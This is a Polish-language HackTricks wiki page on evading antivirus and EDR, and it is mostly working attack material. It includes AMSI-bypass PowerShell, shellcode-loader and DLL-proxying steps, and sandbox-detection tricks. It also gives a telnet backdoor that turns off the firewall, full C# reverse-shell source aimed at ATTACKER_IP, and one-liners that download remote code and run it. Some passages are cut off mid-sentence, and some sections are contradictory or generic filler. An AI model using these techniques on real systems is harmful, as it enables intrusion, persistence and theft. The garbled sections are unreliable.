hacktricks/windows-hardening/av-bypass.md
2024-02-11 01:46:25 +00:00

39 KiB

Unikanie wykrycia przez antywirusy (AV)

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Ta strona została napisana przez @m2rc_p!

Metodologia unikania AV

Obecnie antywirusy (AV) używają różnych metod sprawdzania, czy plik jest złośliwy czy nie, takich jak statyczne wykrywanie, dynamiczna analiza i dla bardziej zaawansowanych systemów EDR analiza behawioralna.

Statyczne wykrywanie

Statyczne wykrywanie jest osiągane poprzez oznaczanie znanych złośliwych ciągów znaków lub tablic bajtów w pliku binarnym lub skrypcie, a także wyodrębnianie informacji z samego pliku (np. opis pliku, nazwa firmy, podpisy cyfrowe, ikona, suma kontrolna itp.). Oznacza to, że korzystanie z publicznie dostępnych narzędzi może prowadzić do łatwiejszego wykrycia, ponieważ prawdopodobnie zostały one przeanalizowane i oznaczone jako złośliwe. Istnieje kilka sposobów obejścia tego rodzaju wykrywania:

  • Szyfrowanie

Jeśli zaszyfrujesz plik binarny, nie będzie możliwe wykrycie go przez AV, ale będziesz potrzebować pewnego rodzaju ładowacza do odszyfrowania i uruchomienia programu w pamięci.

  • Obfuskacja

Czasami wystarczy zmienić niektóre ciągi znaków w pliku binarnym lub skrypcie, aby uniknąć wykrycia przez AV, ale może to być czasochłonne zadanie, w zależności od tego, co próbujesz zobfuskować.

  • Narzędzia niestandardowe

Jeśli opracujesz własne narzędzia, nie będą znane żadne złośliwe sygnatury, ale wymaga to dużo czasu i wysiłku.

{% hint style="info" %} Dobrym sposobem sprawdzania wykrywania statycznego przez Windows Defender jest ThreatCheck. Program ten dzieli plik na wiele segmentów, a następnie zleca Defenderowi skanowanie każdego z nich osobno, dzięki czemu można dokładnie określić, jakie ciągi znaków lub bajtów są oznaczone w pliku. {% endhint %}

Gorąco polecam obejrzenie tej playlisty na YouTube dotyczącej praktycznego unikania wykrycia przez AV.

Dynamiczna analiza

Dynamiczna analiza polega na uruchomieniu twojego pliku binarnego w piaskownicy i obserwowaniu złośliwej aktywności (np. próbie odszyfrowania i odczytania haseł przeglądarki, wykonaniu minidumpa na LSASS itp.). Ta część może być nieco trudniejsza do pracy, ale oto kilka rzeczy, które możesz zrobić, aby uniknąć piaskownic.

  • Oczekiwanie przed wykonaniem W zależności od tego, jak jest to zaimplementowane, może to być doskonały sposób na obejście dynamicznej analizy AV. AV ma bardzo krótki czas na skanowanie plików, aby nie przeszkadzać użytkownikowi w pracy, dlatego używanie długich oczekiwania może zakłócać analizę plików binarnych. Problem polega na tym, że wiele piaskownic AV może po prostu pominąć oczekiwanie, w zależności od tego, jak jest to zaimplementowane.
  • Sprawdzanie zasobów maszyny Zazwyczaj piaskownice mają bardzo mało zasobów do pracy (np. <2 GB RAM), w przeciwnym razie mogłyby spowolnić pracę maszyny użytkownika. Tutaj możesz również być bardzo kreatywny, na przykład sprawdzając temperaturę procesora lub nawet prędkość wentylatorów, nie wszystko będzie zaimplementowane w piaskownicy.
  • Sprawdzanie specyficzne dla maszyny Jeśli chcesz zaatakować użytkownika, którego stanowisko jest dołączone do domeny "contoso.local", możesz sprawdzić domenę komputera, aby sprawdzić, czy pasuje do podanej przez ciebie, jeśli nie, możesz zmusić program do zakończenia działania.

Okazuje się, że nazwa komputera w piaskownicy Microsoft Defender to HAL9TH, więc możesz sprawdzić nazwę komputera w swoim złośliwym oprogramowaniu przed detonacją. Jeśli nazwa pasuje do HAL9TH, oznacza to, że znajdujesz się w piaskownicy Defendera, więc możesz zmusić program do zakończenia działania.

źródło: https://youtu.be/StSLxFbVz0M?t=1439

Kilka innych naprawdę dobrych wskazówek od @mgeeky dotyczących walki z piaskownicami

Red Team VX Discord #malware-dev channel

Jak już wspomnieliśmy wcześniej w tym poście, publiczne narzędzia w końcu zostaną wykryte, więc powinieneś zadać sobie pytanie:

Na przykład, jeśli chcesz wydobyć LSASS, czy naprawdę musisz używać mimikatz? Czy możesz użyć innego projektu, który jest mniej znany i również wydobywa LSASS.

Prawidłową odpowiedzią jest prawdopodobnie ta druga opcja. Biorąc mimikatz jako przykład, jest to prawdopodobnie jeden z najbardziej oznaczonych przez AV i EDR szkodliwych programów, podczas gdy sam projekt jest super, jest również koszmarem w pracy z nim, aby ominąć AV, więc poszukaj alternatyw dla tego, czego próbujesz osiągnąć.

{% hint style="info" %} Modyfikując swoje ładunki w celu uniknięcia wykrycia, upewnij się, że wyłączasz automatyczne przesyłanie próbek do defendera, a także, proszę, NIE PRZEŁADOWUJ DO VIRUSTOTAL, jeśli twoim celem jest osiągnięcie uniknięcia wykrycia na dłuższą metę. Jeśli chcesz sprawdzić, czy twój ładunek zostaje wykryty przez konkretny AV, zainstaluj go na maszyn

DLL Sideloading & Proxying

DLL Sideloading wykorzystuje kolejność wyszukiwania DLL używaną przez ładowacz, umieszczając zarówno aplikację ofiarę, jak i złośliwe ładunki obok siebie.

Możesz sprawdzić, czy programy są podatne na DLL Sideloading, używając Siofra i następującego skryptu powershell:

{% code overflow="wrap" %}

Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object {
$binarytoCheck = "C:\Program Files\" + $_
C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hijack -f $binarytoCheck
}

{% endcode %}

To polecenie wyświetli listę programów podatnych na przechwycenie DLL w folderze "C:\Program Files\" oraz pliki DLL, które próbują załadować.

Bardzo polecam samodzielne zbadanie programów podatnych na przechwycenie DLL/Sideloadable, ta technika jest dość skryta, jeśli jest poprawnie wykonana, ale jeśli używasz publicznie znanych programów Sideloadable DLL, możesz łatwo zostać wykryty.

Po prostu umieszczenie złośliwej DLL o oczekiwanej nazwie przez program nie spowoduje załadowania twojego ładunku, ponieważ program oczekuje pewnych określonych funkcji wewnątrz tej DLL. Aby rozwiązać ten problem, użyjemy innej techniki o nazwie DLL Proxying/Forwarding.

DLL Proxying przekierowuje wywołania, które program wykonuje z proxy (i złośliwej) DLL do oryginalnej DLL, zachowując funkcjonalność programu i umożliwiając obsługę wykonania twojego ładunku.

Będę korzystać z projektu SharpDLLProxy od @flangvik

Oto kroki, które podjąłem:

{% code overflow="wrap" %}

1. Find an application vulnerable to DLL Sideloading (siofra or using Process Hacker)
2. Generate some shellcode (I used Havoc C2)
3. (Optional) Encode your shellcode using Shikata Ga Nai (https://github.com/EgeBalci/sgn)
4. Use SharpDLLProxy to create the proxy dll (.\SharpDllProxy.exe --dll .\mimeTools.dll --payload .\demon.bin)

{% endcode %}

Ostatnie polecenie dostarczy nam 2 pliki: szablon kodu źródłowego DLL i oryginalne przemianowane DLL.

{% code overflow="wrap" %}

5. Create a new visual studio project (C++ DLL), paste the code generated by SharpDLLProxy (Under output_dllname/dllname_pragma.c) and compile. Now you should have a proxy dll which will load the shellcode you've specified and also forward any calls to the original DLL.

{% endcode %}

Oto wyniki:

Zarówno nasz shellcode (zakodowany za pomocą SGN), jak i proxy DLL mają wskaźnik wykrywalności 0/26 w antiscan.me! Nazwałbym to sukcesem.

{% hint style="info" %} Gorąco polecam obejrzenie twitch VOD S3cur3Th1sSh1t na temat DLL Sideloading oraz filmu ippsec, aby dowiedzieć się więcej o tym, o czym rozmawialiśmy bardziej szczegółowo. {% endhint %}

Freeze

Freeze to zestaw narzędzi do łamania EDR za pomocą zawieszonych procesów, bezpośrednich wywołań systemowych i alternatywnych metod wykonania

Możesz użyć Freeze do załadowania i wykonania swojego shellcode w dyskretny sposób.

Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freeze.git && cd Freeze && go build Freeze.go)
1. Generate some shellcode, in this case I used Havoc C2.
2. ./Freeze -I demon.bin -encrypt -O demon.exe
3. Profit, no alerts from defender

{% hint style="info" %} Unikanie wykrycia to gra w kotka i myszkę, to co działa dzisiaj, może być wykryte jutro, więc nigdy nie polegaj tylko na jednym narzędziu, jeśli to możliwe, spróbuj połączyć wiele technik unikania wykrycia. {% endhint %}

AMSI (Anti-Malware Scan Interface)

AMSI został stworzony w celu zapobiegania "malware bez plików". Początkowo, programy antywirusowe były w stanie skanować pliki na dysku, więc jeśli można było jakoś uruchomić ładunki bezpośrednio w pamięci, program antywirusowy nie mógł nic zrobić, ponieważ nie miał wystarczającej widoczności.

Funkcja AMSI jest zintegrowana w następujące komponenty systemu Windows.

  • Kontrola konta użytkownika, czyli UAC (podnoszenie uprawnień dla plików EXE, COM, MSI lub instalacji ActiveX)
  • PowerShell (skrypty, interaktywne użycie i dynamiczna ocena kodu)
  • Windows Script Host (wscript.exe i cscript.exe)
  • JavaScript i VBScript
  • Makra VBA w programie Office

Dzięki temu rozwiązaniu, rozwiązania antywirusowe mogą analizować zachowanie skryptów, ujawniając zawartość skryptów w formie niezaszyfrowanej i niezaciemnionej.

Uruchomienie polecenia IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1') spowoduje wyświetlenie następującego alertu w programie Windows Defender.

Zauważ, jak dodaje przedrostek amsi: a następnie ścieżkę do pliku wykonywalnego, z którego uruchomiono skrypt, w tym przypadku powershell.exe

Nie zapisaliśmy żadnego pliku na dysku, ale i tak zostaliśmy wykryci w pamięci z powodu AMSI.

Istnieje kilka sposobów obejścia AMSI:

  • Zaciemnienie

Ponieważ AMSI głównie działa na podstawie statycznych wykryć, modyfikowanie skryptów, które próbujesz załadować, może być dobrym sposobem na uniknięcie wykrycia.

Jednak AMSI ma zdolność do odszyfrowywania skryptów, nawet jeśli mają wiele warstw, dlatego zaciemnienie może być złym wyborem, w zależności od tego, jak jest wykonane. To sprawia, że unikanie wykrycia nie jest tak proste. Chociaż czasami wystarczy zmienić kilka nazw zmiennych i będzie dobrze, więc zależy to od tego, ile coś zostało oznaczone.

  • Ominięcie AMSI

Ponieważ AMSI jest implementowane poprzez załadowanie DLL do procesu powershell (również cscript.exe, wscript.exe, itp.), łatwo można go naruszyć nawet jako użytkownik bez uprawnień. Ze względu na tę wadę w implementacji AMSI, badacze znaleźli wiele sposobów na unikanie skanowania AMSI.

Wymuszenie błędu

Wymuszenie niepowodzenia inicjalizacji AMSI (amsiInitFailed) spowoduje, że żadne skanowanie nie zostanie uruchomione dla bieżącego procesu. Początkowo zostało to ujawnione przez Matt Graeber, a Microsoft opracował sygnaturę, aby zapobiec szerokiemu wykorzystaniu.

{% code overflow="wrap" %}

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

{% endcode %}

Wystarczyła jedna linia kodu powershell, aby uniemożliwić użycie AMSI dla bieżącego procesu powershell. Oczywiście ta linia została wykryta przez sam AMSI, więc konieczne jest wprowadzenie pewnych modyfikacji, aby użyć tej techniki.

Oto zmodyfikowane obejście AMSI, które znalazłem w tym Github Gist.

Try{#Ams1 bypass technic nº 2
$Xdatabase = 'Utils';$Homedrive = 'si'
$ComponentDeviceId = "N`onP" + "ubl`ic" -join ''
$DiskMgr = 'Syst+@.M£n£g' + 'e@+nt.Auto@' + '£tion.A' -join ''
$fdx = '@ms' + '£In£' + 'tF@£' + 'l+d' -Join '';Start-Sleep -Milliseconds 300
$CleanUp = $DiskMgr.Replace('@','m').Replace('£','a').Replace('+','e')
$Rawdata = $fdx.Replace('@','a').Replace('£','i').Replace('+','e')
$SDcleanup = [Ref].Assembly.GetType(('{0}m{1}{2}' -f $CleanUp,$Homedrive,$Xdatabase))
$Spotfix = $SDcleanup.GetField($Rawdata,"$ComponentDeviceId,Static")
$Spotfix.SetValue($null,$true)
}Catch{Throw $_}

Modyfikacja pamięci

Ta technika została początkowo odkryta przez @RastaMouse i polega na znalezieniu adresu funkcji "AmsiScanBuffer" w pliku amsi.dll (odpowiedzialnego za skanowanie dostarczonych przez użytkownika danych wejściowych) i nadpisaniu go instrukcjami zwracającymi kod dla E_INVALIDARG. W ten sposób wynik rzeczywistego skanowania zostanie zwrócony jako 0, co jest interpretowane jako czysty wynik.

{% hint style="info" %} Proszę przeczytać https://rastamouse.me/memory-patching-amsi-bypass/ dla bardziej szczegółowego wyjaśnienia. {% endhint %}

Istnieje również wiele innych technik używanych do omijania AMSI w PowerShell, sprawdź tę stronę i ten repozytorium, aby dowiedzieć się więcej na ten temat.

Lub ten skrypt, który za pomocą modyfikacji pamięci będzie modyfikował każde nowe Powersh

Obfuskacja

Istnieje kilka narzędzi, które można użyć do obfuskacji kodu C# w postaci tekstu jawnego, generowania szablonów metaprogramowania do kompilacji binarnych lub obfuskacji skompilowanych binarnych, takich jak:

  • InvisibilityCloak: Obfuskator C#
  • Obfuscator-LLVM: Celem tego projektu jest dostarczenie otwartej wersji pakietu kompilacyjnego LLVM, który może zapewnić zwiększone bezpieczeństwo oprogramowania poprzez obfuskację kodu i zabezpieczanie przed ingerencją.
  • ADVobfuscator: ADVobfuscator pokazuje, jak używać języka C++11/14 do generowania, w czasie kompilacji, zaszyfrowanego kodu bez użycia zewnętrznego narzędzia i bez modyfikowania kompilatora.
  • obfy: Dodaje warstwę zaszyfrowanych operacji generowanych przez szablonowe metaprogramowanie w C++, co utrudnia osobie próbującej złamać aplikację.
  • Alcatraz: Alcatraz to obfuskator binarny x64, który potrafi obfuskować różne pliki PE, w tym: .exe, .dll, .sys
  • metame: Metame to prosty silnik kodu metamorficznego dla dowolnych plików wykonywalnych.
  • ropfuscator: ROPfuscator to zaawansowany framework obfuskacji kodu na poziomie kodu asemblera dla języków obsługiwanych przez LLVM przy użyciu ROP (programowanie oparte na powrotach). ROPfuscator obfuskuje program na poziomie kodu asemblera, zamieniając zwykłe instrukcje na łańcuchy ROP, utrudniając naturalny przepływ sterowania.
  • Nimcrypt: Nimcrypt to krypter .NET PE napisany w Nim
  • inceptor: Inceptor potrafi przekształcić istniejące pliki EXE/DLL w kod shellcode, a następnie je załadować

SmartScreen i MoTW

Być może widziałeś ten ekran podczas pobierania niektórych plików wykonywalnych z internetu i uruchamiania ich.

Microsoft Defender SmartScreen to mechanizm bezpieczeństwa, który ma na celu ochronę użytkownika końcowego przed uruchamianiem potencjalnie złośliwych aplikacji.

SmartScreen głównie działa na podstawie reputacji, co oznacza, że pobieranie niezwykłych aplikacji spowoduje uruchomienie SmartScreen, co ostrzeże i uniemożliwi użytkownikowi uruchomienie pliku (choć plik nadal można uruchomić, klikając Więcej informacji -> Uruchom mimo to).

MoTW (Mark of The Web) to Alternatywny Strumień Danych NTFS o nazwie Zone.Identifier, który automatycznie tworzony jest podczas pobierania plików z internetu, wraz z adresem URL, z którego zostały pobrane.

Sprawdzanie alternatywnego strumienia danych Zone.Identifier dla pliku pobranego z internetu.

{% hint style="info" %} Warto zauważyć, że pliki wykonywalne podpisane zaufanym certyfikatem nie uruchamiają SmartScreen. {% endhint %}

Bardzo skutecznym sposobem na uniknięcie oznaczenia Mark of The Web dla twoich payloadów jest umieszczenie ich wewnątrz jakiegoś rodzaju kontenera, na przykład ISO. Dzieje się tak, ponieważ Mark-of-the-Web (MOTW) nie może być stosowany do woluminów nie NTFS.

PackMyPayload to narzędzie, które pakuje payloady do kontenerów wyjściowych, aby uniknąć oznaczenia Mark-of-the-Web.

Przykładowe użycie:

PS C:\Tools\PackMyPayload> python .\PackMyPayload.py .\TotallyLegitApp.exe container.iso

+      o     +              o   +      o     +              o
+             o     +           +             o     +         +
o  +           +        +           o  +           +          o
-_-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-_-_-_-_-_-_-_,------,      o
:: PACK MY PAYLOAD (1.1.0)       -_-_-_-_-_-_-|   /\_/\
for all your container cravings   -_-_-_-_-_-~|__( ^ .^)  +    +
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-__-_-_-_-_-_-_-''  ''
+      o         o   +       o       +      o         o   +       o
+      o            +      o    ~   Mariusz Banach / mgeeky    o
o      ~     +           ~          <mb [at] binary-offensive.com>
o           +                         o           +           +

[.] Packaging input file to output .iso (iso)...
Burning file onto ISO:
Adding file: /TotallyLegitApp.exe

[+] Generated file written to (size: 3420160): container.iso

Oto demo omijania SmartScreen poprzez umieszczanie ładunków wewnątrz plików ISO za pomocą PackMyPayload

Refleksja zestawu C#

Ładowanie binarnych plików C# w pamięci jest znane od dłuższego czasu i wciąż jest bardzo dobrym sposobem na uruchamianie narzędzi po eksploatacji bez wykrycia przez AV.

Ponieważ ładunek zostanie załadowany bezpośrednio do pamięci bez dotykania dysku, będziemy musieli jedynie martwić się o patchowanie AMSI dla całego procesu.

Większość frameworków C2 (sliver, Covenant, metasploit, CobaltStrike, Havoc, itp.) już umożliwia wykonanie zestawów C# bezpośrednio w pamięci, ale istnieją różne sposoby na to:

  • Fork&Run

Polega na uruchomieniu nowego procesu ofiarnego, wstrzyknięciu złośliwego kodu po eksploatacji do tego nowego procesu, wykonaniu złośliwego kodu i po zakończeniu zabicia nowego procesu. Metoda fork and run ma swoje zalety i wady. Zaletą tej metody jest to, że wykonanie odbywa się poza naszym procesem implantu Beacon. Oznacza to, że jeśli coś pójdzie nie tak lub zostanie wykryte w naszej akcji po eksploatacji, istnieje dużo większa szansa na przeżycie implantu. Wada polega na większym ryzyku wykrycia przez wykrywanie zachowań.

  • Inline

Polega na wstrzyknięciu złośliwego kodu po eksploatacji do własnego procesu. W ten sposób można uniknąć konieczności tworzenia nowego procesu i skanowania go przez AV, ale wadą jest to, że jeśli coś pójdzie nie tak podczas wykonywania ładunku, istnieje dużo większa szansa na utratę beaconu, ponieważ może on ulec awarii.

{% hint style="info" %} Jeśli chcesz dowiedzieć się więcej o ładowaniu zestawów C#, zapoznaj się z tym artykułem https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/ i ich InlineExecute-Assembly BOF (https://github.com/xforcered/InlineExecute-Assembly) {% endhint %}

Można również ładować zestawy C# z poziomu PowerShell, sprawdź Invoke-SharpLoader i wideo S3cur3th1sSh1t.

Użycie innych języków programowania

Jak zaproponowano w https://github.com/deeexcee-io/LOI-Bins, możliwe jest wykonywanie złośliwego kodu za pomocą innych języków, udostępniając zainfekowanemu komputerowi dostęp do środowiska interpretera zainstalowanego na kontrolowanym przez atakującego udziale SMB.

Pozwalając na dostęp do binarnych interpreterów i środowiska na udziale SMB, można wykonywać dowolny kod w tych językach w pamięci zainfekowanego komputera.

Repozytorium wskazuje: Defender nadal skanuje skrypty, ale korzystając z Go, Java, PHP itp. mamy większą elastyczność w omijaniu statycznych sygnatur. Testowanie losowych niezobfuskowanych skryptów powrotnych powłok w tych językach okazało się skuteczne.

Zaawansowane unikanie

Unikanie jest bardzo skomplikowanym tematem, czasami trzeba uwzględnić wiele różnych źródeł telemetrii w jednym systemie, więc praktycznie niemożliwe jest całkowite pozostanie niewykrytym w dojrzałych środowiskach.

Każde środowisko, z którym się spotykasz, ma swoje własne mocne i słabe strony.

Gorąco zachęcam do obejrzenia tej prezentacji od @ATTL4S, aby uzyskać wgląd w bardziej zaawansowane techniki unikania.

{% embed url="https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo" %}

To również kolejna świetna prezentacja od @mariuszbit na temat unikania w głębi.

{% embed url="https://www.youtube.com/watch?v=IbA7Ung39o4" %}

Stare techniki

Sprawdź, które części Defender uznaje za złośliwe

Możesz użyć ThreatCheck, który usunie części binarne, aż dowie się, którą część Defender uznaje za złośliwą i podzieli ją dla ciebie.
Inne narzędzie, które robi to samo, to avred z otwartą usługą w sieci https://avred.r00ted.ch/

Serwer Telnet

Do Windows 10 wszystkie wersje systemu Windows miały serwer Telnet, który można było zainstalować (jako administrator) wykonując:

pkgmgr /iu:"TelnetServer" /quiet

Uruchom go automatycznie przy uruchamianiu systemu i uruchom go teraz:

sc config TlntSVR start= auto obj= localsystem

Zmień port telnet (stealth) i wyłącz zaporę ogniową:

Aby zwiększyć bezpieczeństwo, zaleca się zmianę domyślnego portu telnet. Możesz to zrobić, edytując plik konfiguracyjny usługi telnet i zmieniając wartość portu na inny niż domyślny. Należy pamiętać, że porty poniżej 1024 są zarezerwowane dla uprzywilejowanych usług systemowych, dlatego warto wybrać port spoza tego zakresu.

Dodatkowo, wyłączenie zapory ogniowej może zwiększyć podatność na ataki, dlatego zaleca się zachowanie ostrożności i przemyślane podejście do tej decyzji. Jeśli jednak zdecydujesz się wyłączyć zaporę ogniową, upewnij się, że masz inne środki bezpieczeństwa, które zabezpieczą Twoją sieć przed nieautoryzowanym dostępem.

tlntadmn config port=80
netsh advfirewall set allprofiles state off

UltraVNC

Pobierz go z: http://www.uvnc.com/downloads/ultravnc.html (chcesz pobrać pliki binarne, a nie instalator)

NA HOSTINGU: Uruchom winvnc.exe i skonfiguruj serwer:

  • Włącz opcję Disable TrayIcon
  • Ustaw hasło w VNC Password
  • Ustaw hasło w View-Only Password

Następnie przenieś plik binarny winvnc.exe i nowo utworzony plik UltraVNC.ini do ofiary

Połączenie odwrotne

Atakujący powinien uruchomić na swoim hostingu plik binarny vncviewer.exe -listen 5900, aby był gotowy do przechwycenia odwrotnego połączenia VNC. Następnie, w ofierze: Uruchom demona winvnc winvnc.exe -run i uruchom winwnc.exe [-autoreconnect] -connect <adres_ip_atakującego>::5900

OSTRZEŻENIE: Aby utrzymać ukrycie, nie wykonuj kilku czynności

  • Nie uruchamiaj winvnc, jeśli już działa, w przeciwnym razie wywołasz okienko. Sprawdź, czy działa za pomocą tasklist | findstr winvnc
  • Nie uruchamiaj winvnc bez pliku UltraVNC.ini w tym samym katalogu, w przeciwnym razie spowoduje to otwarcie okna konfiguracji
  • Nie uruchamiaj winvnc -h w celu uzyskania pomocy, w przeciwnym razie wywołasz okienko

GreatSCT

Pobierz go z: https://github.com/GreatSCT/GreatSCT

git clone https://github.com/GreatSCT/GreatSCT.git
cd GreatSCT/setup/
./setup.sh
cd ..
./GreatSCT.py

Wewnątrz GreatSCT:

GreatSCT to narzędzie, które umożliwia tworzenie skryptów do omijania ochrony antywirusowej. Działa na platformie PowerShell i oferuje wiele funkcji, które mogą być wykorzystane do tworzenia zaawansowanych technik omijania AV.

Tworzenie skryptów

GreatSCT umożliwia tworzenie skryptów w języku PowerShell, które mogą być używane do omijania ochrony antywirusowej. Można tworzyć skrypty, które wykorzystują różne techniki, takie jak kodowanie, szyfrowanie i zmienianie nazw plików, aby uniknąć wykrycia przez AV.

Generowanie payloadów

GreatSCT pozwala na generowanie payloadów, które mogą być używane do wykonywania różnych działań, takich jak zdalne uruchamianie kodu, przechwytywanie ekranu, przechwytywanie dźwięku itp. Payloady są generowane w taki sposób, aby omijać ochronę antywirusową i umożliwiać wykonanie żądanych działań na celu.

Testowanie skuteczności

GreatSCT oferuje również narzędzia do testowania skuteczności omijania ochrony antywirusowej. Można użyć tych narzędzi, aby sprawdzić, czy stworzone skrypty i payloady są w stanie uniknąć wykrycia przez AV. Testowanie skuteczności jest ważne, aby upewnić się, że nasze techniki omijania AV są skuteczne i nie zostaną wykryte.

Integracja z innymi narzędziami

GreatSCT może być również zintegrowane z innymi narzędziami, takimi jak Metasploit, aby umożliwić bardziej zaawansowane ataki. Można użyć GreatSCT do generowania payloadów, które mogą być wykorzystane w atakach za pomocą Metasploit, co zwiększa skuteczność ataku i umożliwia omijanie ochrony antywirusowej.

GreatSCT jest potężnym narzędziem, które może być wykorzystane do tworzenia zaawansowanych technik omijania ochrony antywirusowej. Dzięki jego funkcjom i możliwościom, jest to narzędzie, które powinno być brane pod uwagę przez każdego hakerów, którzy chcą unikać wykrycia przez AV i przeprowadzać skuteczne ataki.

use 1
list #Listing available payloads
use 9 #rev_tcp.py
set lhost 10.10.14.0
sel lport 4444
generate #payload is the default name
#This will generate a meterpreter xml and a rcc file for msfconsole

Teraz uruchom lister za pomocą polecenia msfconsole -r file.rc i wykonaj payload xml za pomocą:

C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml

Obecny obrońca szybko zakończy proces.

Kompilowanie naszego własnego odwróconego powłoki

https://medium.com/@Bank_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15

Pierwsza odwrócona powłoka C#

Skompiluj to za pomocą:

c:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:exe /out:back2.exe C:\Users\Public\Documents\Back1.cs.txt

Użyj tego z:

back.exe <ATTACKER_IP> <PORT>
// From https://gist.githubusercontent.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc/raw/1b6c32ef6322122a98a1912a794b48788edf6bad/Simple_Rev_Shell.cs
using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Linq;
using System.Net;
using System.Net.Sockets;


namespace ConnectBack
{
public class Program
{
static StreamWriter streamWriter;

public static void Main(string[] args)
{
using(TcpClient client = new TcpClient(args[0], System.Convert.ToInt32(args[1])))
{
using(Stream stream = client.GetStream())
{
using(StreamReader rdr = new StreamReader(stream))
{
streamWriter = new StreamWriter(stream);

StringBuilder strInput = new StringBuilder();

Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.CreateNoWindow = true;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardError = true;
p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
p.Start();
p.BeginOutputReadLine();

while(true)
{
strInput.Append(rdr.ReadLine());
//strInput.Append("\n");
p.StandardInput.WriteLine(strInput);
strInput.Remove(0, strInput.Length);
}
}
}
}
}

private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
{
StringBuilder strOutput = new StringBuilder();

if (!String.IsNullOrEmpty(outLine.Data))
{
try
{
strOutput.Append(outLine.Data);
streamWriter.WriteLine(strOutput);
streamWriter.Flush();
}
catch (Exception err) { }
}
}

}
}

Użycie kompilatora C#

Aby obejść ochronę przed antywirusami, można skorzystać z kompilatora C#.

using System;
using System.CodeDom.Compiler;
using System.Diagnostics;
using Microsoft.CSharp;

namespace AVBypass
{
    class Program
    {
        static void Main(string[] args)
        {
            string code = @"
                using System;

                namespace AVBypass
                {
                    class Program
                    {
                        static void Main(string[] args)
                        {
                            Console.WriteLine(""Hello, World!"");
                        }
                    }
                }
            ";

            CSharpCodeProvider provider = new CSharpCodeProvider();
            CompilerParameters parameters = new CompilerParameters();
            parameters.GenerateExecutable = true;
            parameters.OutputAssembly = "AVBypass.exe";

            CompilerResults results = provider.CompileAssemblyFromSource(parameters, code);

            if (results.Errors.HasErrors)
            {
                foreach (CompilerError error in results.Errors)
                {
                    Console.WriteLine(error.ErrorText);
                }
            }
            else
            {
                Process.Start("AVBypass.exe");
            }
        }
    }
}

Ten kod używa kompilatora C# do generowania pliku wykonywalnego, który może obejść ochronę antywirusową.

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt.txt REV.shell.txt

Plik REV.txt: https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066

Plik REV.shell: https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639

Automatyczne pobieranie i wykonanie:

64bit:
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell

32bit:
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell

{% embed url="https://gist.github.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f" %}

Lista obfuskatorów C#: https://github.com/NotPrab/.NET-Obfuscator

C++

sudo apt-get install mingw-w64

i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc

Inne narzędzia

# Veil Framework:
https://github.com/Veil-Framework/Veil

# Shellter
https://www.shellterproject.com/download/

# Sharpshooter
# https://github.com/mdsecactivebreach/SharpShooter
# Javascript Payload Stageless:
SharpShooter.py --stageless --dotnetver 4 --payload js --output foo --rawscfile ./raw.txt --sandbox 1=contoso,2,3

# Stageless HTA Payload:
SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./raw.txt --sandbox 4 --smuggle --template mcafee

# Staged VBS:
SharpShooter.py --payload vbs --delivery both --output foo --web http://www.foo.bar/shellcode.payload --dns bar.foo --shellcode --scfile ./csharpsc.txt --sandbox 1=contoso --smuggle --template mcafee --dotnetver 4

# Donut:
https://github.com/TheWover/donut

# Vulcan
https://github.com/praetorian-code/vulcan

Więcej

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks: